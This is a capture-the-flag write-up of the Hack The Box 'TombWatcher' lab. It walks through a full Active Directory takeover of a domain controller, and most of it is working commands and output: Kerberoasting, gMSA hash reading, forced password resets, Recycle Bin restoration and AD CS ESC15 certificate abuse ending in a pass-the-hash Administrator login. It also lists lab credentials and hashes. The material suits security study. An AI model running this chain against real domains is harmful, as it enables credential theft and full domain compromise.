Skip to content

HTB TombWatcher writeup

A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.

TombWatcher was a Windows AD box where the path from the initial credentials to Administrator followed a sequence of Active Directory ACLs, combining Kerberoasting, gMSA password retrieval, ForceChangePassword, WriteOwner, AD Recycle Bin, and AD CS ESC15/ESC17. I started with credentials for henry, verified the relationships shown by BloodHound/RustHound one at a time, and obtained a WinRM shell as john. I then used GenericAll over the ADCS OU to restore the deleted cert_admin account and obtained the NT hash for Administrator through a certificate.

ItemValue
BoxTombWatcher
PlatformHack The Box
OSWindows
DifficultyMedium
Operator with provided credential henry / H3nry_987TGV!
|
| LDAP/SMB enumeration + RustHound
v
tombwatcher.htb\henry
|
| WriteSPN on Alfred -> set SPN -> Kerberoast -> hashcat
v
tombwatcher.htb\alfred / basketball
|
| AddSelf to Infrastructure group
v
tombwatcher.htb\alfred as member of Infrastructure
|
| ReadGMSAPassword on ansible_dev$
v
tombwatcher.htb\ansible_dev$ NTLM 47f92356b62e2b1c7b185df4842b63ad
|
| ForceChangePassword on sam
v
tombwatcher.htb\sam / HappyPwn2026!
|
| WriteOwner on john -> add GenericAll -> reset john password
v
tombwatcher.htb\john / HappyPwn3030! via WinRM
|
| GenericAll on OU=ADCS -> inspect Deleted Objects and template ACLs
v
Deleted cert_admin object with SID S-1-5-21-1392491010-1358638721-2126982587-1111
|
| Restore-ADObject into OU=ADCS -> inherited john GenericAll -> reset password
v
tombwatcher.htb\cert_admin / HappyPwn4000!
|
| WebServer template enrollment + ESC15 request agent flow
v
administrator.pfx for TOMBWATCHER\Administrator
|
| certipy auth -> Administrator NT hash
v
tombwatcher.htb\administrator via WinRM -> root.txt
  • Hostname: DC01
  • Domain: tombwatcher.htb
  • DC FQDN: DC01.tombwatcher.htb
  • Initial credential: henry / H3nry_987TGV!

I configured name resolution as follows.

10.129.27.153 DC01.tombwatcher.htb tombwatcher.htb DC01

The Nmap command itself was not recorded. The saved results show that Nmap 7.99 scanned the equivalent of all TCP ports and performed service detection.

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49695/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49696/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
64733/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows
Domain SID S-1-5-21-1392491010-1358638721-2126982587
clock-skew: mean: -4h00m02s
smb2-security-mode: Message signing enabled and required

Key points:

  • Ports 88, 389, 636, 3268, and 3269 were open, so I treated the host as an AD domain controller rather than an ordinary Windows host.
  • Port 5985 was open, making WinRM logon worth checking once credentials were available.
  • Port 9389 was AD Web Services, useful for investigation with PowerShell AD cmdlets.
  • SMB signing was required, so NTLM relay was unlikely to be the main path.
  • Before using Kerberos, I needed to correct the time difference between the scanner and the DC.

I corrected the Kerberos clock skew with ntpdate.

Terminal window
sudo ntpdate tombwatcher.htb
CLOCK: time stepped by -14402.192629

The initial credentials, henry / H3nry_987TGV!, worked over SMB.

Terminal window
nxc smb 10.129.27.153 -u henry -p 'H3nry_987TGV!'
SMB 10.129.27.153 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!

I enumerated users, groups, computers, and the domain SID through LDAP.

Terminal window
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users --groups --computers --get-sid
[*] Enumerated 7 domain users: tombwatcher.htb
Administrator
Guest
krbtgt
Henry
Alfred
sam
john
[*] Total records returned: 2
DC01$
ansible_dev$
Domain SID S-1-5-21-1392491010-1358638721-2126982587

From SMB, I could read only the usual DC shares. RID brute forcing also confirmed the key SIDs used later.

Terminal window
nxc smb 10.129.27.153 -u henry -p 'H3nry_987TGV!' --shares --rid-brute
Share Permissions
IPC$ READ
NETLOGON READ
SYSVOL READ
1103: TOMBWATCHER\Henry
1104: TOMBWATCHER\Alfred
1105: TOMBWATCHER\sam
1106: TOMBWATCHER\john
1107: TOMBWATCHER\Infrastructure
1108: TOMBWATCHER\ansible_dev$

At this point, I judged that the target called for a focus on AD ACLs and Kerberos rather than the web.

I collected the AD graph with RustHound-CE.

Terminal window
rusthound-ce -d tombwatcher.htb -f dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -c All --zip
Connected to TOMBWATCHER.HTB Active Directory!
9 users parsed
61 groups parsed
1 computers parsed
2 ous parsed
2 gpos parsed
33 certtemplates parsed
1 enterprisecas parsed

The important relationships were:

  • henry had WriteSPN over Alfred.
  • Alfred had AddSelf over the Infrastructure group.
  • Infrastructure had ReadGMSAPassword over ansible_dev$.
  • ansible_dev$ had ForceChangePassword over sam.
  • sam had WriteOwner over john.
  • john had GenericAll over OU=ADCS.

Rather than trusting BloodHound edges alone, I also kept in mind how to inspect the LDAP security descriptors. The evidence lies in DACL ACEs, not ordinary attributes: for example, Henry -> Alfred WriteSPN appears in Alfred’s nTSecurityDescriptor, while Infrastructure -> ansible_dev$ ReadGMSAPassword is reflected in ansible_dev$’s msDS-GroupMSAMembership.

Henry to Alfred: WriteSPN and Kerberoasting

Section titled “Henry to Alfred: WriteSPN and Kerberoasting”

henry could change Alfred’s SPN. As a state change, I added an SPN to Alfred.

Terminal window
bloodyad -d tombwatcher.htb -k --host dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v 'http/tombwatcher.htb'
[+] alfred's servicePrincipalName has been updated

With the SPN set, I obtained a TGS through Kerberoasting.

Terminal window
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting
[*] sAMAccountName: Alfred, memberOf: [], pwdLastSet: 2025-05-13 00:17:03.526670, lastLogon: <never>
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$...

I cracked the resulting TGS hash immediately with hashcat.

Terminal window
hashcat <alfred_tgs_hash_file> /usr/share/wordlists/rockyou.txt
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Status...........: Cracked
$krb5tgs$23$*Alfred$...:basketball

This yielded alfred / basketball, although WinRM was not available for this account yet.

Terminal window
nxc winrm dc01.tombwatcher.htb -u alfred -p 'basketball' -d tombwatcher.htb
[-] tombwatcher.htb\alfred:basketball

SMB authentication confirmed that alfred’s credentials were valid.

Terminal window
nxc smb dc01.tombwatcher.htb -u alfred -p 'basketball' -d tombwatcher.htb
[+] tombwatcher.htb\alfred:basketball

Following the BloodHound AddSelf edge, I added alfred to the Infrastructure group. This changed AD state.

Terminal window
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred
[+] alfred added to INFRASTRUCTURE

Because Infrastructure could read the gMSA password for ansible_dev$, I used alfred’s current group rights to obtain the gMSA hash.

Terminal window
nxc ldap dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' --gmsa
[+] tombwatcher.htb\alfred:basketball
[*] Getting GMSA Passwords
Account: ansible_dev$ NTLM: 47f92356b62e2b1c7b185df4842b63ad PrincipalsAllowedToReadPassword: Infrastructure

This gave me the NTLM hash for ansible_dev$. With a gMSA, the key question is whether the account can read the target object’s msDS-ManagedPassword, rather than knowing an ordinary user password.

ansible_dev$ to john: Password Reset Chain

Section titled “ansible_dev$ to john: Password Reset Chain”

BloodHound showed that ansible_dev$ had ForceChangePassword over sam. Using the NTLM hash for ansible_dev$, I reset sam’s password. This changed AD state.

Terminal window
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u ansible_dev$ -p :47f92356b62e2b1c7b185df4842b63ad set password sam 'HappyPwn2026!'
[+] Password changed successfully!

After the reset, I verified sam’s credentials over SMB.

Terminal window
nxc smb dc01.tombwatcher.htb -u sam -p HappyPwn2026! -d tombwatcher.htb
[+] tombwatcher.htb\sam:HappyPwn2026!

Next, sam had WriteOwner over john. I changed the owner, then granted GenericAll. This also changed AD state.

Terminal window
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! set owner john sam
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! add genericAll john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
[+] sam has now GenericAll on john

After gaining GenericAll over john, I reset john’s password.

Terminal window
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! set password john 'HappyPwn3030!'
[+] Password changed successfully!

john belonged to Remote Management Users, so WinRM was available.

Terminal window
nxc winrm dc01.tombwatcher.htb -u john -p HappyPwn3030! -d tombwatcher.htb
[+] tombwatcher.htb\john:HappyPwn3030! (Pwn3d!)

I logged in through WinRM and obtained the user flag.

Terminal window
evil-winrm-py -i dc01.tombwatcher.htb -u john -p HappyPwn3030!
evil-winrm-py PS C:\Users\john\Desktop> type user.txt
[REDACTED]

BloodHound results for john showed that john had GenericAll over an OU named ADCS@TOMBWATCHER.HTB. I investigated the OU because GenericAll could potentially allow object creation, attribute changes, and inherited ACLs beneath it, and the name ADCS suggested that certificate-related users or administrative objects might have existed there. I first inspected the OU itself.

Terminal window
Get-ADOrganizationalUnit `
-Identity "OU=ADCS,DC=tombwatcher,DC=htb" `
-Properties *
DistinguishedName : OU=ADCS,DC=tombwatcher,DC=htb
Name : ADCS
ProtectedFromAccidentalDeletion : True

I checked for ordinary child objects directly under the OU, but the result was empty.

Terminal window
Get-ADObject `
-SearchBase "OU=ADCS,DC=tombwatcher,DC=htb" `
-SearchScope OneLevel `
-Filter * |
Select-Object Name, ObjectClass, DistinguishedName

The ordinary search returned nothing because no active child objects remained directly under the OU. That did not mean the OU had never contained anything. Where AD Recycle Bin is enabled, deleted objects leave ordinary search results and move under CN=Deleted Objects. I therefore needed to search deleted objects with IncludeDeletedObjects.

Get-GPInheritance showed Default Domain Policy.

Terminal window
Get-GPInheritance -Target "OU=ADCS,DC=tombwatcher,DC=htb"
Name : adcs
ContainerType : OU
GpoInheritanceBlocked : No
GpoLinks : {}
InheritedGpoLinks : {Default Domain Policy}

I briefly considered a GPO path, but GpoLinks : {} was empty: Default Domain Policy was merely inherited from the domain root. GenericAll over the OU suggested I might be able to change the OU object or its gPLink attribute, but it did not mean I could edit the GPO’s Group Policy Container or its Group Policy Template in SYSVOL. I excluded that path from the main attack.

The OU ACL confirmed john’s GenericAll right.

Terminal window
$dn = "OU=ADCS,DC=tombwatcher,DC=htb"
(Get-Acl "AD:$dn").Access |
Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType, IsInherited
IdentityReference ActiveDirectoryRights AccessControlType
TOMBWATCHER\john GenericAll Allow
TOMBWATCHER\Domain Admins GenericAll Allow
NT AUTHORITY\SYSTEM GenericAll Allow

What mattered now was not an “empty OU” but the possibility that something had existed in it before. The OU was named ADCS, and certificate templates were visible, so I shifted to searching deleted objects.

I checked whether AD Recycle Bin was enabled.

Terminal window
Get-ADOptionalFeature -Filter 'Name -like "Recycle Bin Feature"' |
Format-List Name, EnabledScopes
Name : Recycle Bin Feature
EnabledScopes : {CN=Partitions,CN=Configuration,DC=tombwatcher,DC=htb, ...}

I searched for deleted objects whose lastKnownParent was OU=ADCS. The -IncludeDeletedObjects switch was necessary because ordinary LDAP/AD searches omit deleted objects. Because lastKnownParent records the container an object belonged to before deletion, it let me look back for objects that had once been in the now-empty OU=ADCS.

Terminal window
Get-ADObject `
-IncludeDeletedObjects `
-LDAPFilter '(&(isDeleted=TRUE)(lastKnownParent=OU=ADCS,DC=tombwatcher,DC=htb))' `
-Properties lastKnownParent,msDS-LastKnownRDN,isRecycled,whenChanged,objectClass,sAMAccountName |
Format-List Name,ObjectGUID,ObjectClass,sAMAccountName,lastKnownParent,msDS-LastKnownRDN,isRecycled,whenChanged,DistinguishedName
Name : cert_admin DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
sAMAccountName : cert_admin
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
msDS-LastKnownRDN : cert_admin
isRecycled :
Name : cert_admin DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
sAMAccountName : cert_admin
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
msDS-LastKnownRDN : cert_admin
isRecycled :
Name : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
sAMAccountName : cert_admin
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
msDS-LastKnownRDN : cert_admin
isRecycled :

All three were named cert_admin, and isRecycled was empty. With AD Recycle Bin, an object with isDeleted=True and no isRecycled value is still eligible for restoration. The surviving lastKnownParent and msDS-LastKnownRDN also suggested that Restore-ADObject could restore its original OU and name.

Creating a new user named cert_admin would not suffice. AD ACLs refer to SIDs, not display names or sAMAccountName values, so a new user with the same name would receive a new SID. The certificate template ACL still referred to the deleted cert_admin account’s SID. The template right would not become usable unless I restored the object with that SID.

I still did not know which cert_admin to restore. The memberOf values for all candidates were empty, so group membership did not distinguish them.

Terminal window
Get-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf' -IncludeDeletedObjects `
-Properties memberOf,adminCount,userAccountControl,nTSecurityDescriptor |
Format-List Name,ObjectGUID,memberOf,adminCount,userAccountControl
Name : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
memberOf : {}
adminCount :
userAccountControl : 66048

To find the difference, I compared the SIDs of the three deleted cert_admin objects with the certificate template ACLs.

Terminal window
$sids = @(
"S-1-5-21-1392491010-1358638721-2126982587-1109",
"S-1-5-21-1392491010-1358638721-2126982587-1110",
"S-1-5-21-1392491010-1358638721-2126982587-1111"
)
$config = (Get-ADRootDSE).configurationNamingContext
$base = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$config"
Get-ADObject `
-SearchBase $base `
-LDAPFilter "(objectClass=pKICertificateTemplate)" |
ForEach-Object {
$template = $_
$acl = Get-Acl "AD:$($template.DistinguishedName)"
foreach ($ace in $acl.Access) {
try {
$sid = $ace.IdentityReference.Translate(
[System.Security.Principal.SecurityIdentifier]
).Value
}
catch {
$sid = $ace.IdentityReference.Value
}
if ($sid -in $sids) {
[PSCustomObject]@{
Template = $template.Name
SID = $sid
Rights = $ace.ActiveDirectoryRights
Type = $ace.AccessControlType
ObjectType = $ace.ObjectType
InheritanceType = $ace.InheritanceType
}
}
}
} | Format-List
Template : WebServer
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Rights : GenericRead
Type : Allow
ObjectType : 00000000-0000-0000-0000-000000000000
InheritanceType : None
Template : WebServer
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Rights : ReadProperty, WriteProperty, ExtendedRight
Type : Allow
ObjectType : 0e10c968-78fb-11d2-90d4-00c04f79dc55
InheritanceType : None

I checked what 0e10c968-78fb-11d2-90d4-00c04f79dc55 meant.

Terminal window
Get-ADObject `
-SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" `
-LDAPFilter "(rightsGuid=0e10c968-78fb-11d2-90d4-00c04f79dc55)" `
-Properties displayName,rightsGuid |
Format-List Name,displayName,rightsGuid
Name : Certificate-Enrollment
displayName : Enroll
rightsGuid : 0e10c968-78fb-11d2-90d4-00c04f79dc55

I concluded that the object to restore had ObjectGUID 938182c3-bf0b-410a-9aaa-45c8e1a02ebf and objectSid S-1-5-21-1392491010-1358638721-2126982587-1111. Of the three generations of cert_admin, only S-...-1111 appeared in the WebServer template ACL, and ObjectType 0e10c968-78fb-11d2-90d4-00c04f79dc55 proved to be Certificate-Enrollment, or the Enroll right. I chose the object because its SID was referenced by the AD CS template ACL, not merely because it had the latest whenChanged value.

I reconfirmed the object to restore.

Terminal window
$guid = "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
$deleted = Get-ADObject `
-Identity $guid `
-IncludeDeletedObjects `
-Properties objectSid,lastKnownParent,msDS-LastKnownRDN,isDeleted,isRecycled
$deleted | Format-List Name,ObjectGUID,objectSid,lastKnownParent,msDS-LastKnownRDN,isDeleted,isRecycled
Name : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
msDS-LastKnownRDN : cert_admin
isDeleted : True
isRecycled :

I restored it with Restore-ADObject. This changed AD state.

Terminal window
$deleted | Restore-ADObject

After restoration, I verified that its SID and DN matched expectations.

Terminal window
Get-ADUser cert_admin -Properties objectSid,Enabled |
Format-List SamAccountName,ObjectSid,Enabled
SamAccountName : cert_admin
ObjectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
Enabled : True
Terminal window
Get-ADUser `
-LDAPFilter "(sAMAccountName=cert_admin)" `
-ErrorAction SilentlyContinue
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111

The SID remained the same because Restore-ADObject restores the original object from Deleted Objects; it does not create a new user with the same name. An object still eligible for AD Recycle Bin restoration retains its pre-deletion objectGUID and objectSid, which are reused on restoration. Here, I confirmed this by matching the restored ObjectGUID and SID to their values in the deleted state.

Restoring cert_admin did not reveal its password. I checked whether john’s rights had been inherited by the restored user object.

Terminal window
$certAdmin = Get-ADUser `
-Identity "cert_admin" `
-Properties objectSid,Enabled,userAccountControl,DistinguishedName
$userDn = $certAdmin.DistinguishedName
(Get-Acl "AD:$userDn").Access |
Where-Object {
$_.IdentityReference -eq "TOMBWATCHER\john"
} |
Format-List IdentityReference,ActiveDirectoryRights,AccessControlType,ObjectType,InheritanceType,IsInherited
IdentityReference : TOMBWATCHER\john
ActiveDirectoryRights : GenericAll
AccessControlType : Allow
ObjectType : 00000000-0000-0000-0000-000000000000
InheritanceType : All
IsInherited : True

john’s GenericAll right was inherited from OU=ADCS by the restored cert_admin, allowing john to reset cert_admin’s password.

Terminal window
$newPassword = ConvertTo-SecureString `
"HappyPwn4000!" `
-AsPlainText `
-Force
Set-ADAccountPassword `
-Identity $certAdmin `
-Reset `
-NewPassword $newPassword
Enable-ADAccount -Identity $certAdmin
Unlock-ADAccount -Identity $certAdmin -ErrorAction SilentlyContinue

Verification results:

Terminal window
Get-ADUser cert_admin -Properties Enabled,userAccountControl |
Format-List
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
userAccountControl : 66048

This was the easiest place to get stuck in the box. cert_admin’s privilege did not come from group membership; its deleted SID remained directly on the certificate template ACL. The right object to restore was therefore not just any account named cert_admin, but the cert_admin whose SID the WebServer template ACL referenced.

When I first ran Certipy as john, the CA was visible, but no vulnerable template was listed.

Terminal window
certipy find -u john -p HappyPwn3030! -dc-ip 10.129.27.153 -target tombwatcher.htb -vulnerable -stdout
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Request Disposition : Issue
Enroll : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates : [!] Could not find any certificate templates

The likely reason was not a broken Certipy installation: john was not an enrollment principal for the vulnerable WebServer template. -vulnerable focuses on templates exploitable by the current authenticated principal, so john could not directly use the template right tied to cert_admin’s SID. As an alternative, I read the template ACLs under CN=Certificate Templates,CN=Public Key Services,... in PowerShell and directly compared them with the deleted cert_admin SIDs. This showed that S-...-1111 had the Enroll right on WebServer, leading to the restoration of cert_admin.

Running Certipy as cert_admin then revealed the vulnerable WebServer template that was not visible as john.

Terminal window
certipy find -u cert_admin -p 'HappyPwn4000!' -dc-ip 10.129.27.153 -target tombwatcher.htb -vulnerable -stdout
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Request Disposition : Issue
Enroll : TOMBWATCHER.HTB\Authenticated Users
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Enrollee Supplies Subject : True
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Authorized Signatures Required : 0
Schema Version : 1
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
ESC17 : Enrollee supplies subject and template allows server authentication.

First, I requested a certificate from the WebServer template with the Certificate Request Agent application policy.

Terminal window
certipy req \
-u 'cert_admin' -p 'HappyPwn4000!' \
-dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Saving certificate and private key to 'cert_admin.pfx'
[*] Wrote certificate and private key to 'cert_admin.pfx'

I treated the resulting cert_admin.pfx as a certificate for a later request on behalf of another user, not as an identity-bearing logon certificate.

I first tried requesting a certificate on behalf of Administrator with a fully qualified domain name and the WebServer template, but the certificate contained no usable identity.

Terminal window
certipy req \
-u 'cert_admin' -p 'HappyPwn4000!' \
-dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER.HTB\Administrator'
[!] Domain part of '-on-behalf-of' should not be a FQDN
[*] Request ID is 6
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Wrote certificate and private key to 'administrator.pfx'

Authentication with that certificate also failed.

Terminal window
certipy auth -pfx administrator.pfx -dc-ip 10.129.27.153
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[-] Username or domain is not specified, and identity information was not found in the certificate

This failure showed why I needed to verify that a certificate contained a UPN/SID. I next tried explicitly specifying the UPN and SID with the WebServer template. That confirmed I could include Administrator’s UPN/SID, but the final main path used the on-behalf-of request described below.

Terminal window
certipy req \
-u 'cert_admin' -p 'HappyPwn4000!' \
-dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-upn administrator@TOMBWATCHER.HTB \
-sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
-application-policies 'Certificate Request Agent'
[*] Requesting certificate via RPC
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@TOMBWATCHER.HTB'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Wrote certificate and private key to 'administrator.pfx'

I ultimately used cert_admin.pfx as the request agent certificate and requested a certificate for TOMBWATCHER\Administrator with the User template.

Terminal window
certipy req \
-u 'cert_admin' -p 'HappyPwn4000!' \
-dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \
-ca 'tombwatcher-CA-1' -template 'User' \
-pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER\Administrator'
[*] Requesting certificate via RPC
[*] Request ID is 10
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

administrator.pfx contained Administrator’s UPN and SID, so I could authenticate with Kerberos through Certipy and obtain the NT hash.

Terminal window
certipy auth -pfx administrator.pfx -dc-ip 10.129.27.153
[*] Certificate identities:
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

I logged in through WinRM with the obtained NT hash.

Terminal window
evil-winrm-py -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc
[*] Connecting to 'dc01.tombwatcher.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
tombwatcher\administrator

I obtained the root flag.

evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
  • Seeing Default Domain Policy affect OU=ADCS did not mean I could edit the GPO. GpoLinks was empty; it appeared only in InheritedGpoLinks.
  • OU=ADCS was empty, so manipulating ordinary child users or computers led nowhere. I needed to inspect Deleted Objects.
  • There were three deleted cert_admin objects, all with empty memberOf values. I had to select one by the SID referenced in the certificate template ACL, not by group membership.
  • Running certipy find -vulnerable as john did not reveal the vulnerable template. The template right was tied to cert_admin’s SID, so I had to run it again after restoration.
  • The first -on-behalf-of 'TOMBWATCHER.HTB\Administrator' used the FQDN as the domain, produced a warning, and yielded a certificate with no identity. I treated the “No identities found” message from certipy auth as a failure.
  • Alfred’s servicePrincipalName

    • Change: added http/tombwatcher.htb.
    • Original state: not recorded.
    • Restoration: remove http/tombwatcher.htb from Alfred’s servicePrincipalName.
    • Verification: not confirmed.
  • Infrastructure group membership

    • Change: added alfred to Infrastructure.
    • Original state: alfred was not a member.
    • Restoration: remove alfred from Infrastructure.
    • Verification: not confirmed.
  • sam’s password

    • Change: reset it to HappyPwn2026!.
    • Original state: not recorded.
    • Restoration: because the original password is unknown, set it to a known safe value with administrator rights or reset the lab.
    • Verification: not confirmed.
  • john’s owner, DACL, and password

    • Change: changed the owner to sam, granted sam GenericAll, and reset the password to HappyPwn3030!.
    • Original owner: S-1-5-21-1392491010-1358638721-2126982587-512, or Domain Admins.
    • Restoration: return the owner to Domain Admins, remove sam’s GenericAll ACE from john’s DACL, and restore the password. The original password was not recorded.
    • Verification: not confirmed.
  • Restoration and password of cert_admin

    • Change: restored the deleted object with ObjectGUID 938182c3-bf0b-410a-9aaa-45c8e1a02ebf and reset its password to HappyPwn4000!. It was also enabled and unlocked as needed.
    • Original state: a deleted user under CN=Deleted Objects.
    • Restoration: delete cert_admin again or reset the machine to return the lab to its original state.
    • Verification: not confirmed.
  • AD CS certificate requests

    • Change: Request IDs 5, 6, 8, and 10 were issued.
    • Artifacts: cert_admin.pfx, administrator.pfx, and administrator.ccache.
    • Restoration: if CA administrative rights are available, revoke the relevant requests and certificates and delete the local PFX/ccache files.
    • Verification: not confirmed.
  • henry / H3nry_987TGV!

    • Source: initial credentials provided at the start of the box.
    • First use: SMB/LDAP enumeration.
    • Enabled: Kerberoasting Alfred through WriteSPN.
  • alfred / basketball

    • Source: after henry added an SPN to Alfred, I cracked the Kerberoasted TGS hash with hashcat.
    • First use: SMB authentication check, then AddSelf to Infrastructure.
    • Enabled: obtaining the ansible_dev$ gMSA hash through Infrastructure membership.
  • ansible_dev$ : 47f92356b62e2b1c7b185df4842b63ad

    • Source: obtained with nxc ldap --gmsa after alfred joined Infrastructure.
    • First use: ForceChangePassword on sam.
    • Enabled: resetting sam’s password.
  • sam / HappyPwn2026!

    • Source: set using ansible_dev$’s ForceChangePassword right.
    • First use: changing john’s owner and granting GenericAll.
    • Enabled: resetting john’s password.
  • john / HappyPwn3030!

    • Source: set after sam gained GenericAll over john.
    • First use: WinRM login.
    • Enabled: obtaining the user flag, investigating OU=ADCS and Deleted Objects, and restoring cert_admin.
  • cert_admin / HappyPwn4000!

    • Source: after restoration, john’s GenericAll over OU=ADCS was inherited by cert_admin, allowing its password to be reset.
    • First use: certipy find and certipy req.
    • Enabled: requesting a certificate for Administrator through ESC15/ESC17 on the WebServer template.
  • Administrator NT hash

    • Value: f61db423bebe3328d33af26741afe5fc
    • Source: authenticated with administrator.pfx through certipy auth and obtained the NT hash after PKINIT.
    • First use: WinRM pass-the-hash.
    • Enabled: obtaining the root flag as tombwatcher\administrator.
  • Flags

    • C:\Users\john\Desktop\user.txt: [REDACTED]
    • C:\Users\Administrator\Desktop\root.txt: [REDACTED]
  • Certificate artifacts

    • cert_admin.pfx: certificate and private key obtained from the WebServer template with the Certificate Request Agent application policy.
    • administrator.pfx: certificate and private key obtained by using cert_admin.pfx for an on-behalf-of request for TOMBWATCHER\Administrator through the User template.
    • administrator.ccache: Kerberos credential cache obtained by Certipy from administrator.pfx.
  • Recognizing a DC from its AD port layout.
